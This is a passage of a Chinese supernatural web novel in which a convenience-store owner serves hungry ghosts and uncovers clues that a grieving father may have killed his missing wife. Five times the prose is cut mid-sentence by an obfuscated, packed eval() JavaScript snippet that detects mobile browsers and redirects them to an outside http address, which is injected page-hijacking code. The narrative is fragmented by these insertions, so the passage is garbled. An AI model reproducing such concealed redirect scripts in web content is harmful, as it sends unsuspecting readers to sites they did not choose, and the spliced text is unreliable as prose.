哎不对,她怎么开始盘算和鬼搭茬了? 涂蓝埙还没反应过来,她因为一通视频把自己绕进去了,习惯真是可怕的东西。转过头,挤出笑,拿N练胆: “N先生,您车开得那么好,怎么回回都让我献丑呢?” N这次连眼皮都没掀,整个人融化在暮色中,他的轮廓黑、薄而锋利,无声威胁着:随时会消失把涂蓝埙独自抛在前往公墓的大道上。 警告生效,涂蓝埙一天被封两次口,低眉顺眼微笑自如,又打过两次方向盘,载着一群群墓盒子的山坡于前路相迎,山体幽暗,两点弱灯闪烁其中,像是逝者垂下眼眸。 公墓的开放时间是早六晚六,还剩最后一小时,涂蓝埙加大爬坡马力,终于在半山腰停车场附近寻了个位,悄悄然下了车。 墓园入口锁着,保安亭开了灯,保安低头在悬挂的平安符后面打游戏,根本不抬头,这个时间点不往里放人了,涂蓝埙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184562|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼N的侧影,抿抿嘴。 两人就这么当着保安的面走过去,他看不见他们似的,灰暗倒计时的手机屏幕快被捏碎了。涂蓝埙吊着一颗心脏,翻爬伸缩自动门,N则直接融了过去。 一入眼,数不清的直超天灵盖的上山台阶,还有密密麻麻从天上盖下来的墓碑,很难不觉得爬到最高点就到彼岸,真来才知道发怵,可为时已晚。 涂蓝埙夹在N和无穷无尽的墓碑群之间,一时不知道往哪边靠才更安全。 晚间公墓没什么灯,打着手电摸到客户地址的那一组一列,一路上,涂蓝埙已不受控制地记住好多死者姓名。但在进入小女孩那一排之前,她拐了个弯。 那里是片大绿树的阴影,遮光背阴,“快快快,这里没人能看见,咱们正好过去做事!” 她说的是找个地方点香,可得藏着点,她猜这地方鬼魂多,那熏过香的巧克力糖是香饽饽,很容易被抢走的,最好点完赶紧给小女孩鬼,让她现场吃完。 “不必这样,公墓的鬼魂大多数都是普通人,没到那个份上。”N在暗光中站得很直,喑声说。 涂蓝埙也醒觉过来,“是哦,公墓嘛,会有家人祭奠的。” 他们还是在大树下点了香,熏过两秒,涂蓝埙赶紧用片落叶把香熄了,还剩食指长的一截,她生怕折断,供祖宗似的放回打包盒里。 小女孩的公墓位置很好找,是相对价格昂贵的地段,墓碑也比前几个区的更豪华,还自带一个石砖砌的小院墙,只有几平米,中间嵌着照片,正是视频通话那张脸。 涂蓝埙弯下腰,吹了吹矮墙上的灰,墓碑后面露出一张小脸,肤色比视频中更凝实,夜幕下灰白得有点诡异,“您是西蓝花老板吗?” 五分钟后,小女孩坐在自己墓前的石阶上,吃起了巧克力。 她吃得满嘴含糊不清,糖纸没有乱扔,整整齐齐拢在手心里,又咕咚咽了口融着甜的唾液,有些大舌头,“我都三年没吃过巧克力啦。” 涂蓝埙挑了下眉,周围墓碑都比小女孩的更干净,有的还摆了供品,只有小女孩这里是空的,除了枯叶和泥巴外什么都没有。 显然,很久没人来这看过了。 有谁会给孩子买一处昂贵的公墓,但埋葬后从不来祭扫呢?这不符合常理。 小女孩的手臂布满黑灰,想抱一下涂蓝埙,又不好意思地退回来,有些落寞,“姐姐,谢谢你,我喜欢你的巧克力,也喜欢你。” 说完,她手里出现一枚金灿灿的圈环,是枚金镯子,要往涂蓝埙手里塞。 涂蓝埙虽然移不开眼睛,但好歹能分清是非。那镯子是古法工艺,内圈刻了字,显然是某人的爱物,极有可能来自小女孩的妈妈或爸爸。 她温声婉拒,小女孩倒是来了劲头,非要给她不可,最后还是N出现在旁边,将小女孩吓一大跳,深吸一口气,努力挺直小身板挡在涂蓝埙前面。 N皱眉,看向青蛙般把自己鼓起来、以显得更高大一点的小女孩,转向涂蓝埙: “这个镯子上……缠绕着不属于她,但和她有亲缘关系的死气。” 15. 15 N的声音只有涂蓝埙能听见。 小女孩的妈妈爸爸是因为去世了才不来看她的。 涂蓝埙将金镯子还给小女孩,脑子里却在想,如果双亲也变成鬼,总该来看她才对,比活人还方便一些,可为什么呢。 “镯子上只有一个人的死气,怨念很重,不像是自然死亡。”N道。 小女孩好奇看过来,不懂他们为何忽然沉默,涂蓝埙递过去那盒洁牙套装,“小妹妹,你叫什么名字呀?” 墓碑其实上有,还有她家人的名字,但直接读别人孩子骨灰盒头顶的姓名,好像不太礼貌。 “白小句,嘿嘿。”白小句撸起袖子,肩膀上有一枚圆形中空胎记,“因为我有这个,我小名就叫小句号。” 白小句开始刷牙,粉色草莓味牙膏甜丝丝的,她刷得很仔细,被好好教过的样子。 一回牙没刷完,涂蓝埙已经套出白小句的家庭情况。 根据交流,白小句的母亲白超是自媒体博主,父亲汤伟宁是大学老师,时髦和传统的搭配,都不缺钱,所以白小句的墓地规格很豪华。 “那你家在哪,你妈妈的视频账号叫什么,爸爸又在哪所大学上班呢。” “我家是一栋大大的粉房子,我妈妈的视频里有很多漂亮裙子,爸爸的单位离家很远,开车要开一个半小时。” 白小句拖着调子,说得驴唇不对马嘴。她嗓音哑,小胳膊上沾了黑灰,应该和那位双亲之一一样,也是非自然死亡。 据说她死的时候——五年前八岁,用她的话讲是睡一觉就这样了。 白小句死后家人很伤心,每隔两个月就来哭一趟,持续两年。但从三年前开始,妈妈爸爸就再没来公墓看过她。现在白小句也很伤心。 涂蓝埙皱眉,白小句和双亲之一两年内先后非自然死亡,很难是巧合吧。 夜渐深,他们还是在山上耽搁到九点多,白小句看着只有八岁,但心理年龄已经十一,自称能照顾自己的大孩子,虽然眼泪汪汪地不舍,但还是挥别涂蓝埙二人。 涂蓝埙一路下山,悄悄回头,白小句在自己的墓碑前站成一个小圆点,就像独自抱着枕头的噩梦醒来的小朋友,可怜极了。 “公墓里只有她一个鬼吗。”她希望有人能陪陪白小句。 “大多投胎去了,留下的少,也没什么用。”N的声音飘过来。 也对,世间有百样人就有百样鬼,善终的鬼应该都没什么执念,早早重开人生,只有那些残念未了的鬼才停留世间,不是恨就是愁,哪还有心情带小孩。 涂蓝埙不禁联想,N为什么停留呢?在属于他的那个游戏世界,发生了什么事吗。 不知道为什么,虽然没有N是个好鬼的直接证据,但她总觉得,一个愿意陪笨蛋大晚上来闯公墓探望小女孩的鬼,不像网上说得那么恶毒。 万一是新闻搞错了呢。 # 回程比来路快一些,第一是路上车少,第二是公墓山坡在身后,涂蓝埙像被鬼追似的,将油门踩得飞快。 轻车熟路驶入开发区,便利店前有一道人影在等,涂蓝埙以为是刘伯伯,拿着钥匙跑过去,却发现不是。 来者是张陌生面孔,下巴有些胡渣的中年男性,五官还算端正,只是凹腮,双眼下有青黑色的眼袋,身上是冲锋衣,颇有些风尘仆仆的意思。 冲锋衣男人朝她微微点头,很友好。 涂蓝埙赶快为新顾客开门,开到一半,对方像被风吹来的塑料袋似的,极快朝她滑飘过来,原来不是人! 她往后一躲,N瞬间出现在旁边,那冲锋衣鬼知道自己吓了人,稍稍退后,歉意道:“对不起,我太着急了。” 他说话的时候忍不住往店内看,尤其是靠边的零食饮料货架,涂蓝埙这才注意到,冲锋衣鬼的嘴唇干到发皱,大蒜皮似的白屑挂下来。 犹豫是否请他进去,冲锋衣鬼一挥手,四周阴影处竟又出现几个鬼,穿着类似的户外服装,还有人背着大包,人均同款大蒜皮干巴嘴唇。 “我们是一个户外越野小队的。”冲锋衣鬼笑笑,涂蓝埙都担心他扯裂嘴皮,“听一位个头不高的马甲大叔说,这里有能买补给的地方,就过来了。” 个头不高穿马甲,很符合刘茂盛的外表,只是涂蓝埙有另一种疑问,冲锋衣鬼真的知道自己死了吗? 他们的表情太正常太平稳了。 越野队里一张严肃的面孔说:“我们不该下车的。” 是指不该来涂蓝埙的便利店吗,她的犹疑让人觉得是白来一趟,但冲锋衣鬼回头对严肃鬼笑了笑,“没办法,老胡,谁都不知道那里会迷路。” 严肃鬼越过他,直接冲涂蓝埙说:“我们是在黄金洲去世的,车陷进去了,下车没多久就迷路,最后在沙漠里脱水而死,现在你能放心了吗,小老板。” 涂蓝埙眨眨眼,黄金洲可在这个国家的另一端,中间隔着四五个省份,他们难道是从埋骨地走来的? “啊,先请进来坐坐吧。”她说。 领队的冲锋衣鬼道句谢,那四五个鬼都涌了进来,饥渴的目光对准矿泉水,有人冲上去开了一瓶,往嘴里倒半天才泄气地坐下,“高哥,那大叔骗我们,这家的水也不行。” 人类的饮食对鬼无效,无论是味道还是解渴解饿,他们觉得被刘茂盛骗了。 “谢谢了,小姑娘,我身上没有活人的钱。”冲锋衣鬼在身上摸了半天,掏出一枚不太大的金胸针,手打的花朵样式,像是带有沙漠风情的纪念品。 涂蓝埙收下,当然不能为一瓶普通矿泉水就这样,拿出那小半截线香,熏了半条货架的饮水和食品,“请吃吧。” 做生意就该有规矩,什么价卖什么货,她自有一本账。 刚刚灌水的鬼又拧开一瓶新的,试探性嘬一口,愣了愣,好像不认识水的味道,随即干涸的眼角变红,哭都哭不出泪,“是水,真能喝的水!” 越野队的其他人被点醒一般,他们席卷那条货架,抢劫着自己花钱买来的东西。 矿泉水被洒落一滴,都有人从地上揩起,又将食指珍惜地放进嘴里。牛饮后的首选是果冻和肉罐头,以及一切水分充沛的食物,面包和雪饼被打入冷宫,他们拒绝任何干燥自己舌头的东西。, 涂蓝埙本想说渴太久的人得慢慢饮水,但眼前的人已经是鬼,收起那枚金花胸针,将燃尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184563|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香灰扫入簸箕。 “再卖我两根香呗。”她悄悄说,“我把这个给你。” “一支。” “成交!” N依靠在收银台旁,仿佛那场迟来太久的饮食狂欢与他无关,一支线香忽然出现,行将滚落收银台边缘,涂蓝埙双手捧起,轻飘飘的金花归了N。 那边的越野队已经喝足吃饱,哭着笑着躺坐在一堆包装袋子上,冲锋衣鬼把他们一个一个拍开,严肃鬼冷脸收走垃圾,她脑中忽然出现一个词,慈父严母。 便利店的坐标被抄录在本子上,涂蓝埙挺想问他们是怎么定位的,但被冲锋衣鬼抢了先,“小老板,我们还想再买一些拿走,大约这么多。” 他比划的是条货架,剩余货架里最后一条装正经食物的,货品从泡面面包等扎实货,渐变成了榨菜辣条和干脆面。 这一列卖给他,店里能吃的就剩话梅脆梅玫瑰梅了,得想想怎么进货才行。 涂蓝埙的思绪发散被当成犹豫,冲锋衣鬼赶紧笑一下,“您卖给我们什么都行,过期的也行。” 严肃鬼则依然严肃古板,“我们会支付报酬。” 说着,严肃鬼解下背包,登山包头部分袋一拉开,里面黄澄澄一片光,竟然是堆在一起的金子,大多不太完整,被切成一小角一小角的,其中一部分能拼成金元宝,另一部分能拼成大金币。 他们死后步行横穿半个国度,不会顺手盗墓去了吧。 “一路上遇到很多鬼。”冲锋衣鬼微笑,“而我们中间有两个是做生意的。” 他们的户外战服都很高端,而且迢迢跑去西部沙漠玩越野冒险,本来就是需要资金支撑的爱好。 一把碎金子换了一条货架,前者重量加起来约有两块金饼干,涂蓝埙适应了这种汇率,又收下半块金饼干重的定金,承诺下周再卖给他们一条货架的饮食。 这群有钱鬼实在渴饿太久,奈何在如今鬼界,吃喝是比黄金更昂贵的东西,有价无市。 “哎,你们还会回来吗?”她以为他们会继续徒步去下一个城市。 “不是会回来,是不走了,别的地方买不到这些。”严肃鬼背上塞满的登山包,严肃地说。 他们决定在开发区寻个地方住下,反正这也没人,具体地点嘛,当然离24h阳光便利店越近越好。就像饿怕了的灾民睡觉也抱着米缸。 涂蓝埙只是出一趟门,便利店又空一半,送走冲锋衣鬼一众,她也不嫌沉地揣着满兜金子,忙忙碌碌点起货来。 “牛肉干,矿泉水,能量饼干,还有巧克力……” 被越野队打个岔,涂蓝埙这才想起白小句,问N,“为什么有的鬼会被困在一个地方,比如你就能到处走,小句号只能乖乖待在公墓?” N垂眸,那朵金花在他掌心上方悬浮旋转,“她没被困在那,是力量太弱,不足以支撑离开‘锚’太久。” 而且小句号离不开公墓,也是盼着等到家人来看她。 “锚是什么?”涂蓝埙问,“就是鬼离不开的事物吗,有那种完全离不开锚的鬼吗?” “有啊。”N淡淡抬眼,看向涂蓝埙旁边的电脑,“那个女鬼就是。” 16. 16 “那白小句双亲中死去的那一个,也是被‘锚’困住了吧。” 涂蓝埙说完这句话,全身一震,头发都炸了,起飞的猫一样朝远离电脑的方向弹射,“你说什么?!” 她完全忘了电脑有鬼的事! “电脑女鬼长什么样,很凶吗,比恐怖片还恐怖吗,白眼珠黑嘴唇头发蒙在脸前?” N没回答,只是抬起眼睛,涂蓝埙感觉自己被打开了什么频道,余光一凉,身侧好像多出点东西。 是电脑,电脑上多出一颗头,黑黑的长发披在显示器后面,头向她转过来了! 当涂蓝埙意识到自己看到什么的时候,已经太迟,那张苍白脸对她笑了一下。 女鬼的嘴唇和脸都是白色,几乎没有分界线,皮肤倒是光滑,苍白得像一颗看不出馅料的馄饨,现在馄饨咧嘴露出一排牙齿,“呵呵……你好。” “我不好。”涂蓝埙一边回答,一边麻木转身背对电脑。 她疯狂对着N眨眼:快让她消失,你不是最会对付鬼吗,哪怕让我看不见她也好。 女鬼倒是老实得出奇,有些木讷,“先澄清一下,之前你们讨论过的吓死便利店店长的不是我。” 倒也对,她那张脸虽然很白,不像活人,但绝对称不上狰狞恐怖,连鬼中最常见的白眼青筋都没有,表情木木的,一股呆呆滞滞的死气。 涂蓝埙眼眯一条缝,缓缓转回去,适应女鬼的脸之后才发现,对方很年轻也就二十多岁,但就是充满麻木和沧桑。 “你,你叫什么,是做什么工作的,这是我的便利店,你为什么在电脑里,你占多少内存。” 女鬼的反应像一台用很久的办公电脑,不快也不慢,梦游般,“我生前是程序员,死了附在电脑里的,我不知道我为什么在这。” “哦……对,我不记得自己的名字,以及公司的名字。醒来的时候工位换了新人,他们把尸体搬走了。” 看来女鬼遗留在尸骸中的记忆是名字,她和最早出名的那个博主一样,是工作死的。 涂蓝埙刚想说话,女鬼还像牙膏一样慢悠悠往外挤,两个黑眼圈对准她,“我应该是占一点内存的,对不起。” 最后一句,“您电脑的房租怎么收,押一付三?我想留在这,这里好香。” 涂蓝埙眼睛一亮,“你也有黄金?” 女鬼诚实摇头,“没有,我死前买的几支股票都很绿,以前存的工资也因为想不起名字找不到了。” 涂蓝埙失望,做个请的手势,“算了你住着吧,别随便出来就行,我怕鬼。” “我可以为您打工。”女鬼生怕失去劳动价值,不做点什么就不安心似的,“我能……帮您找你们聊的那个自媒体博主。” 说着,女鬼脑袋下面的显示屏自动亮起,网页以看不清的快速一个个弹出、切换,闪烁成一片,最终定格在某视频平台的账户主页。 ID是“超认真工作的白白姐”。 白小句的母亲就叫白超,但通过搜索引擎找到博主皮下的真名不容易,女鬼算是帮了大忙。 不过,涂蓝埙只是打算偶尔去公墓送颗糖,也没有很下定决心找白小句家人来着,金镯,怨气,横死,听上去就很危险。不过找都找到了,那就看一眼也行。 虽然主页没有姓名,但头像是个穿着大方的微笑女人,一看就和白小句有亲缘关系,两人都是脸型略方,同款杏核形大眼睛,但是单眼皮,很特别。 涂蓝埙知道金镯子上缠绕的死气来源于谁了。 最上面置顶的视频封面,整整一排的标题都是“家人和粉丝都等你回来”,点进去挂了个失踪的标签,热度还不低,挂着个点击榜前十的荣誉章,有些讽刺。 白超失踪的时间刚好就是三年前。 “家属一直没放弃找她,有点感人。”电脑女鬼托着腮,讷讷道。 “感人吗?”涂蓝埙笑了声。 她随手点开一个寻人公告视频,家属蒙在AI头套里声泪俱下,一双被养得很白的男人的手握着纸巾,娓娓诉来两人曾经的相遇和波澜,颇有手栽枇杷树的悲哀美学,镜头一角还放着白小句的遗照。 声声句句,都在呼唤白超回家。 涂蓝埙敲了敲电脑,“他把自己的脸藏在AI皮套下面,死去的女儿倒是连马赛克都不打。” 视频剪辑很流畅,机位角度专业,连字幕都配齐,还专门用了一种明亮但不温暖的滤镜,比阴冷色调更有家的感觉,更能引起同情。 就像她的丈夫坚信着她还能回来一样,一个寡夫带着亡女苦苦守候的小家庭。 而且从三年前白超失踪起的第一个视频,就达到这种完成度了。 “你能看到这个男人皮套下的脸吗,或者查到汤伟宁是本地哪所高校的教师。”涂蓝埙问。 电脑女鬼摇头,长发像拖把一样围着显示器旋转,“他上传的是已经处理好的视频,汤伟宁的话……” 屏幕又闪电般弹出一串界面,机箱运转功率变大,风扇嗡嗡开始吹,过了三两秒,女鬼摇摇头,“搜索引擎抓不到他的词条,倒是可以找找论文刊物网站,但其实可以更方便……” “什么?”涂蓝埙问。 页面被切回刚刚的视频平台,“他现在在线,顺着网路去瞧一眼前置摄像头,就能看见他。” “你不早说,应该早就想到了吧。” 女鬼捂住额头,闷闷道:“打工人习惯了,工作必留痕,在两份方案中先试验领导提出的,最好当面演示。” 她消失在显示器上方,重新钻回电脑,两秒后,一个方框画面出现在屏幕,是一张中青年男人的脸,三十来岁,还算俊秀,会动。 那大概就是汤伟宁,此刻他双眼通红,鼻子一吸一吸的,正坐在房间里,对着自己的手机抹眼泪——涂蓝埙是从晃动的仰角画面推测出这点的。 “网路畅通,我可以直接看他的手机。”电脑女鬼的声音传出音箱。 涂蓝埙还没来得及拦,电脑就自动弹出一只只对话框,数据路径名快速变更,加载条读数,电脑女鬼的脸也一格一格回到视野内,“好了,但是他刚换过手机哦。” 汤伟宁的手机文件不多,只占2GB,消息记录只有三天内的,但好在高校教师会加N个群,还有转发公众号的任务,很快查到他工作的学校名字。 鹿城农业大学。 食品工程专业的老师。 能让她动手去查这两条,是因为汤伟宁时间最近的聊天记录是三十秒前,和一个备注叫“小宝”的联系人,对方头像应该是网图,油画滤镜下抱着玫瑰的美人背影。 汤伟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184564|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁:发出去了,好难受。 小宝:抱抱,不哭哦。 汤伟宁:[可怜][可怜]晚上去悦帆酒店? 在“超认真工作的白白姐”账号下,最后一条思妻喊话的视频发布时间是十分钟前,点赞和打赏数目正在蹿升,下面一片片“汤老师好男人”“汤爸爸不容易”的安慰。 这个男人对着精心剪辑的视频哭了十分钟,转头就去找人约夜生活?他别是把自己演进去了。 涂蓝埙的眉头越皱越紧,头也不转地问一句,“那个,一般什么情况才会导致鬼魂被困在‘锚’那出不来?” N的声音远远传过来,“意识不到自己已经死掉,或者极端强烈的痛苦怨念,再就是被人为束缚起来。” 他说最后一句时声音很轻,涂蓝埙望去一眼,心道奇怪,她都忘了指名道姓,N怎么知道是在问她。 “那你能顺着金镯子上的死气,追踪到白超所在的位置吗。” “不能,金镯有死气是因为佩戴太久,沾了主人的气息,最后因原主身亡而自动变质的。要追踪得是死后沾过的才行。” 线索又断了。 现在没有直接证据证明,白超的死和汤伟宁有关,但后者在妻子失踪后,就一次都没再祭拜过女儿白小句就很奇怪了。 像是在心虚什么一样。 涂蓝埙随手翻着汤伟宁的手机内容,已经对窥私的不道德感渐渐麻木,不知横死何处的白超,还有在墓碑前落寞挥手的白小句,都让她觉得有必要当一次不道德的人。 “这个文件夹是相册。”女鬼说。 汤伟宁的相册存图不多,只有两张随手拍的食堂饭桌,更多的是从购物软件存来的商品图。家用儿童餐椅,幼儿安抚巾,母婴用品,叶酸咀嚼片…… 他又要有新孩子了?和谁,小宝吗。 一周时间存了几百张婴幼儿用品图片,都蛮贵的样子,有连涂蓝埙这种人都听说过的外国大牌,更夸张的是,从刚出生到五六岁全包圆了。 这显然超出一个青年大学教师的消费水准,鹿农不是重点大学,而在追忆往昔的视频里,汤伟宁亲口说过,他出身于普通职工家庭,当家的是相当暴躁的父亲。 所以遇到能力强、有担当又性情平和的白超时,汤伟宁才会一眼爱上她。 涂蓝埙在汤伟宁的聊天记录里搜索“孩子”关键词。 不出所料,搜出的几条除了辅导员在学生大群里喊的几声“孩子们”外,剩下的都在汤伟宁和小宝的聊天中,一共三条。 汤伟宁:想小宝,想孩子,希望早点见面。[两天前] 小宝:孩子动了踢得我好疼,呼呼。[四天前] 这两条还算能猜到,最早那条看得涂蓝埙眼睛冒火,一直呆滞的电脑女鬼也皱起脸,仿佛看到脏东西。 汤伟宁:用寻找老婆视频赚的钱换了新手机,准备给孩子买奶粉和玩具,都要最好的。哈哈你会介意吗。[六天前] 涂蓝埙下意识滑到小宝的回复处,眼眸一怔,鼠标顿住。 小宝:随你买咯,最近有人来检查,先记得把shiti藏藏好,否则被发现了,[emoji-警车]会把我们带走…… 汤伟宁:放心,我们不会分开的。 shiti? 尸体。 17. 17 汤伟宁果然有问题。 如果假定他所说的尸体不是宠物狗或鱼虾螃蟹的尸体,他最可能杀的人有一个,白超。 涂蓝埙扶额头痛,深觉自己卷入一个吸力巨大的漩涡中,这不是她该管的事。怎么卖个货还卖出麻烦了呢。 这种事最难办就在于管吧没能力,不管吧心里过不去,就连报警都没证据,怎么报?先解释解释汤伟宁的聊天记录哪来的吧。 而且,不赚钱啊。白小句吃的那袋巧克力可值1/10块大金饼呢,都是她白给的。 涂蓝埙自欺欺人最小化页面,打开网店,转向能赚钱的项目。 没一天工夫,已经有两单订购,地址都是正常的外市县某街某快递柜,她也没法深究是不是活人。点点货单,家用围裙和牛奶润肤皂倒是还有,但第二单客户买的牦牛肉干的确没了。 还得抽个空补货才行,涂蓝埙手里有分销商的电话,开网店卖的东西多,也不用全专门在她手里转一道,直接走仓库最快,就是得交些抽成。 她隐瞒姓名打了两个电话,和对方的销售约好明天白天市区签单子,一边吐槽他们竟然24小时值班,一边整个人心情都好不少。 “你想当客服吗?不,我任命你为便利店店长。”搭起购销链条后,涂蓝埙第一件事就是往外分摊子,她拿起一袋话梅晃了晃,“薪水就一种,管饭,一天选一样吃的。” “还是客服吧,这家便利店的店长title不太吉利。”电脑女鬼木木道。 “那就副店长,兼客服,兼技术部部长。” “行。” “加油,看好你。”在涂大老板的鼓励下,女鬼撸胳膊挽袖子回到电脑里。 女鬼很高兴,涂蓝埙也很高兴,三倍职位三倍工作范围,雇了个超级计算机助手,工资就每天一袋熏过香的零食,均摊到金饼干里也就两粒金末子,她感觉更多的金饼在朝她涌来。 更多金饼意味着更多鬼,涂蓝埙暂时忽略掉这一点。 她实在太快乐,扑在收银台伸个懒腰,困意这才涌上来,恍然已经凌晨时分,该会周公了。 N的声音凉凉传过来,“你明天要出门吗。” 要见分销商的销售,还可以顺带查一下汤伟宁的事,涂蓝埙点点头,想起她和N被物理绑定了,最多分开20.22米。也就是说她去哪N都得随着。 反过来也一样。 涂蓝埙讨好地说:“明天去家居城给你买个床垫吧,再买点六件套和小夜灯什么的。你盖棉被还是凉被?” 她很早就想问了,这两天她睡觉的时候N在干嘛,鬼会困吗,不会整夜整夜坐在这看无字书吧。 N不接茬,依然兀自在角落肩颈笔直,配上贴身高领黑绒衣,像个高傲的黑天鹅。 他说:“明天跟我去一趟春光街114号。” 涂蓝埙“啊”一声,可是她和销售约时间地点了,春光街和她要去的地方隔很远呢。 “没事,春光街要天黑之后去。” 说完这句N就消失,涂蓝埙稀里糊涂答应下来,起身去找发给第一个客户的围裙和香皂,干脆整箱从库里般到店面上,免得睡忘了。 等洗脸刷牙的时候她才反应过来,对着碎镜子咽下一口牙膏沫,连想好要清洁的瓷砖都抛忘了。 春光街114号,不是那个著名闹鬼的游泳馆吗。 # 涂蓝埙做一宿噩梦,梦里全是在游泳池里扑腾,后面有鬼在追的场景。 游泳池的水黏得像胶水,她连胳膊都挥不起来,干游不挪地方,眼看着后面长发飘散一池的鬼魂越来越近,苍白狞笑着,抓向她的脚。 “啊——!” 涂蓝埙一下子睁开眼,发现自己头发蒙了一脸,有些还吃到嘴里,彻底堵住呼吸,脚则支到沙发床边缘外,晾得发麻发冷。 昨天巴结N买床垫是糖衣炮弹,她自己这张沙发床要换才是刚需,忒窄,而且质量不好,才睡两天中间就一细条人形凹坑,闹得腰疼。 春光街114号在鹿城很有名,在涂蓝埙小时候是本地最有名的游泳馆,但后来总莫名其妙发生溺水事件,淹死好几个游泳的大人小孩,渐渐就冷落以至废弃。 最邪的是,其中一个淹死人的池子才1.5米深,淹死的那个大人有一米七九,会游泳,下水陪孩子解暑的,孩子套着泳圈没事,他就这么直挺挺栽里面没了。 N去那干嘛呢,他为什么总去有人淹死的地方,莫非他以前也是淹死的? 去就去吧,还非得夜里去。 涂蓝埙起床下楼,习惯性往卫生间拐,一进门险些跌坐在人身上,她吓得直岔气,“你在这做什么呢?” 卫生间里一个正面蓝背面黑的身影缓缓站直,居高临下看着她,N拽住橡胶手套的指尖,一扯,露出里面的黑皮手套,将刷子放在一边,越过涂蓝埙出门。 草木香里混着一股清洁剂的味道。 涂蓝埙的表情忽然奇怪,刚刚N身上系的,不会是那款“家用简约小清新围裙”吧? 噗。 他一大早上在这做卫生吗,端着那副冷漠高昂的表情是要干什么。 但N刷得真干净啊,每块瓷砖都白亮亮的,水龙头上一点水渍都没有。听说鬼喜欢洁净的地方,看来是真的。 涂蓝埙洗漱出来,第一次着意看店里的边边角角,发现货架是光的,地砖是亮的,天花板是没有一丝丝尘网的。这不对吧,她记得第一次来的时候,还到处一抹一指头灰呢。 天地良心,她从来没收拾过屋子,于是口是心非,“啊,干净,不知道哪一位干活这么利索啊。” “看什么,你要是不吃早饭,就赶快出门。”N面色依然冷,她读出不善的意味,连忙收回目光,微笑,“店里货空了,咱们去市里吃吧。” # 银灰色捷达停在早餐店旁时,已经是上午九点,人家快打烊了。 把N扔在车里自己进去吃有点尴尬,目测距离,店里和停车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184565|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位之间好像超过绑定距离,涂蓝埙憨笑一声,甩去自己坐那吃包子,N阴阴站在门口盯的画面,问:“我买回来在车里吃吧,你要什么?” N淡漠却流利,“豆浆,鸡蛋羹,白糖馅饼。” 涂蓝埙怀疑他在用后脑勺盯着店外牌匾报菜名。 “行。”她下车,一挥胳膊,颇有当老板的豪气,“等我。” 店里没人排队,涂蓝埙直接到玻璃柜台边,买了屉鲜肉发面小笼包,又很不健康地加一瓶冰可乐。给N打豆浆时,服务生说:“店里豆浆默认原味,请问需要加糖吗女士。” 按理说N点的糖饼是巨甜,鸡蛋羹是淡口微咸,豆浆买原味才算搭配合理。可涂蓝埙脑子一灵,说:“加糖,谢谢。” 回到车里,涂蓝埙先喝一口冰可乐润喉醒脑,又塞一只油汁透皮的小肉包,N熏香的暖融味道正飘过来,车内青烟袅袅,涂蓝埙有种自己也受人供奉的错觉。 而且他给自己点香不像涂蓝埙点香那么吝啬,价值1/3块金饼干的线香,就那么点燃插在空调出气口,悠悠烧去一整根,早知道她带点货放车里沾光好了。 N先盯着豆浆看,揭开盖子,豆浆氤氲出甜味,他面无表情地喝了一口。 绷紧的嘴角好像放松了细微弧度,这鬼果然爱吃甜的,之前的果酱三明治他也喜欢。 涂蓝埙有种给野猫喂对罐头的成就心理。N吃饭也像猫科动物,小口采食但速度不慢,没有半丝声响,有一种谨慎的猎食感。 只不过猎食对象是糖馅饼和鸡蛋羹罢了。 和分销商销售约在上午十点,开车到咖啡厅,涂蓝埙才发现这就在鹿城农业大学附近,招牌还有鹿农研究的阳光咖啡豆和有机小麦面包,N跟在她后面飘忽进去,选了个绿植掩映的背阴位子。 等着无聊,不由自主关注到周围人,隔着绿植的那桌跑过去一个孩子,是个七八岁的男孩,耳朵上有块疤。 不仅耳朵有,脸上也有,刺绣似的从脖子蔓延入衣领,能看到做过祛疤手术的痕迹,但留下淡淡的凹凸的火焰形增生,这副面貌很可能会伴随他一辈子。 白小句就是死于火灾的吧,身上有黑灰,看来那小男孩比她幸运一点,虽然破了相,但至少活着。 N回头,目光随男孩而去,转回破碎的眼珠,淡淡道:“他身上有一股死气。” 